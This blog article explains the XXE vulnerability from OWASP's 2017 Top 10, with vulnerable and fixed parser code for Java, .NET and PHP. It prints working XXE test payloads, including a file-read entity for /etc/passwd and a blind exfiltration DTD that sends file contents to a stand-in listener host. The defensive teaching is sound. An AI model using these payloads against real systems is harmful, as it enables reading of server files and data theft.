KHAGAN AYDIN

OWASP 2017 A4: XML External Entities

The parser reads your file. Then it reads the attacker's.

· 9 min read

XML External Entities, usually written XXE, is a security vulnerability in which an XML parser follows instructions inside a document it was given, including instructions to read a file from disk or fetch an address on the network. It is number four on the OWASP Top 10 2017, and it is new. It did not appear on the 2013 list at all, and its arrival says something about where the industry’s attention moved. Two items that used to stand alone, Insecure Direct Object References and Missing Function Level Access Control, were merged into a single Broken Access Control entry, and Cross-Site Request Forgery dropped off because frameworks now ship defenses for it. The space that freed up went to flaws the older list had under-weighted, and XXE was one, supported in the 2017 data mostly by static analysis tools, which are good at spotting an XML parser left in its dangerous default.

That default is the whole problem. Many XML parsers, out of the box, will act on instructions written inside the document they are parsing, including instructions to go fetch a file from disk or a URL from the network. The attacker does not break the parser. They use a feature the parser was told to offer.

What an external entity is

XML lets a document define shorthand names called entities. You have met the harmless ones: < stands for a less-than sign. A document can also define its own, in a block near the top called a Document Type Definition (DTD):

<!DOCTYPE note [
  <!ENTITY company "Example Corp">
]>
<note>Welcome to &company;.</note>

The parser expands &company; to Example Corp. So far this is just text substitution. The danger is that the standard also allows an external entity, whose value is not text you typed but the contents of something the parser goes and fetches:

<!DOCTYPE note [
  <!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<note>&secret;</note>

When a parser with external entities enabled reads this, it opens /etc/passwd on the server and substitutes the file’s contents in place of &secret;. If the application then echoes that value back, or stores it, or includes it in a response, the attacker reads a file they were never allowed to see. Swap the file path for a URL and the parser makes a network request from inside your infrastructure.

What the attacker gets

Three uses of that one primitive, all named in the 2017 text.

Read a local file. The /etc/passwd example above is the classic proof, because it exists on every Unix host and its format is unmistakable. The real targets are configuration files, private keys and application source, anything readable by the account the parser runs under.

Reach the internal network. Point the entity at an internal address the attacker cannot reach directly, for example http://169.254.169.254/ on a cloud host or http://localhost:8080/admin. The parser makes the request from inside, and its response can come back to the attacker. This turns an XML parser into a tool for probing and calling services that were never meant to face the internet. It is server-side request forgery delivered through a document.

Exhaust the server. A small document can define entities that reference each other so that each expands into many copies of the next, and the final one expands into billions of characters. Parsing it consumes all available memory and the server falls over. This is the old “billion laughs” denial of service. A variant points an entity at an endless source such as /dev/random and lets the parser block forever.

The inputs you did not think were XML

This is the part most coverage misses, and it is where XXE actually lives. Teams that would never write an obvious XML upload still parse XML in places they do not think of as XML:

  • SOAP web services. The protocol is XML over the wire, and older versions are explicitly called out in the 2017 list.
  • SAML, the format behind much single sign-on. A login assertion is a signed XML document, parsed at the most security-sensitive point in the whole system.
  • File uploads that are XML underneath. An SVG image is XML. A modern Office document such as a .docx is a zip full of XML. An RSS or Atom feed is XML. If your application accepts any of these and parses them, it parses attacker XML.
  • Content-type switching. An endpoint that normally takes JSON may fall back to an XML parser when a request arrives with Content-Type: application/xml. The attacker simply changes the header and sends XML to a JSON endpoint.

Two public cases from 2014 show how far this reaches. In January 2014 a large social network paid a bounty of 33,500 dollars for an XXE found in its handling of a single sign-on flow. The company’s own server was made to fetch an attacker-controlled document and parse it, and the researcher demonstrated reading the server’s /etc/passwd. In April 2014 a security firm reported an XXE in a public gallery run by a large search company, where developers uploaded XML to create toolbar buttons. The malicious XML let them read internal files, including /etc/passwd and /etc/hosts, from a production server. Neither target was a dusty legacy app. Both were current services from companies with serious security teams, undone by a parser left in its default.

Vulnerable and fixed parser setup

The fix is the same idea in every language: turn off DTD processing, or at least external entities, before you parse. Here are the three stacks that cover most of the field.

Java. The standard DocumentBuilderFactory is dangerous by default.

Vulnerable code

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);   // external entities resolved

Fixed code

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Refuse the whole DTD. This is the single strongest switch.
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Belt and braces, in case a DTD slips through.
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);

Disallowing the DOCTYPE declaration outright is best when your application does not need a DTD, which is almost always. It stops both file reading and the billion-laughs attack in one line, because both need a DTD to define their entities.

.NET. Behavior depends on the runtime version, so set it explicitly rather than trusting the default.

Vulnerable code

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;   // resolves entities
XmlReader reader = XmlReader.Create(input, settings);

Fixed code

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;   // reject any DTD
settings.XmlResolver = null;                        // fetch nothing external
XmlReader reader = XmlReader.Create(input, settings);

DtdProcessing.Prohibit rejects a document that carries a DTD, and setting the resolver to null means that even if one were allowed, the parser has nothing to fetch files or URLs with.

PHP. With the libxml-based parsers, disable the external entity loader before parsing.

Vulnerable code

$doc = new DOMDocument();
$doc->loadXML($xml);   // libxml may resolve external entities

Fixed code

libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml);
// Also avoid passing LIBXML_NOENT, which turns entity substitution back on.

The name of that last flag is a known trap: LIBXML_NOENT reads as “no entities” but actually means “substitute entities,” which is the opposite of what you want. Do not pass it.

Test payloads

To prove whether an endpoint is vulnerable, send a document that tries to read a file and watch whether its contents come back:

<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY x SYSTEM "file:///etc/passwd">
]>
<r>&x;</r>

If the response reflects the parsed value, you will see the password file in it. When the application does not echo the value back, the safer probe is to make the parser call a server you control and watch your own logs for the hit:

<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY x SYSTEM "http://listener.example/probe">
]>
<r>&x;</r>

A request arriving at your listener proves the parser fetched it, which proves external entities are live, even with nothing reflected. Keep the denial-of-service test off any production system; knowing file reading works is enough to prove the flaw.

When nothing comes back: blind XXE

The case that trips people up is the endpoint that parses your XML but never shows you the result and makes no obvious error. Teams see no reflected file and conclude they are safe. They are often not. There is a well-known technique, documented by researchers well before this list, that reads files even when the application is silent, and understanding it is what separates a real test from a quick one.

It uses parameter entities, a second kind of entity that can only appear inside the DTD itself, written with a percent sign instead of an ampersand. The attacker hosts a small DTD on their own server and has the target fetch it. That hosted DTD reads a local file on the target into one parameter entity, then builds a second entity that appends the file’s contents to a URL back to the attacker:

<?xml version="1.0"?>
<!DOCTYPE r [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://listener.example/evil.dtd">
  %dtd;
]>
<r>&send;</r>

The attacker’s evil.dtd defines the exfiltration: it wraps the file contents into a request to the listener, so the file leaves the server as part of a URL the attacker’s own server receives. No reflection is needed, because the data comes out through the network request, not the response. This is why “the page shows nothing” is not a clean bill of health, and why the out-of-band listener test above matters more than the reflected one. A parser that fetches your probe URL can be made to send your files the same way.

The defense does not change. Disabling the DTD or external entities stops the blind version exactly as it stops the reflected one, because both depend on the parser resolving something external. That is the reassuring part: one correct configuration closes every variant at once. You do not have to enumerate the techniques, only to stop the parser from reaching out.

Why the usual half-fixes fail

Three things teams reach for that do not close XXE:

  • Input validation on the field values. XXE does not live in the values, it lives in the DTD at the top of the document, which your field validation never inspects.
  • A web application firewall. A firewall can match some obvious payloads, but XML can be encoded, split and nested in ways that slip past pattern matching, and the firewall hides the finding from your scanner, not from an attacker who iterates. Treat it as a stopgap while you fix the parser, never as the fix.
  • Checking the file extension on uploads. The parser reads the bytes, not the name. An SVG renamed to look like a plain image is still parsed as XML when your code hands it to an XML parser.

The only thing that ends XXE is the parser configuration. Everything else narrows the opening without closing it.

The point

XXE made the 2017 list because the dangerous behavior is the default, the inputs are everywhere once you count SOAP, SAML, SVG and Office files, and the payoff for the attacker (reading server files and reaching internal services) is large. The fix is unglamorous and permanent: find every place your code parses XML, and in each one turn off the DTD, or at least external entities, before parsing. Prefer a simpler format like JSON where you can. The two 2014 cases are the argument for doing it now rather than later: both were current, well-run services, and both were opened by a parser nobody had told to stop fetching.

Checklist

  • Find every XML parser in your code, including the ones behind SOAP, SAML, SVG, Office and feed handling.
  • Disable the DTD entirely where you can (disallow-doctype-decl, DtdProcessing.Prohibit). It stops file reading and billion-laughs at once.
  • Where a DTD is genuinely needed, disable external general and parameter entities and set the resolver to null.
  • In PHP, call libxml_disable_entity_loader(true) and never pass LIBXML_NOENT.
  • Prefer JSON over XML for new endpoints, and do not let a JSON endpoint fall back to an XML parser on a changed content type.
  • Test with a file-read entity and an out-of-band fetch to your own listener. A hit proves the flaw even when nothing is reflected.
  • Do not rely on input validation, a firewall, or a file extension check to stop it. Fix the parser.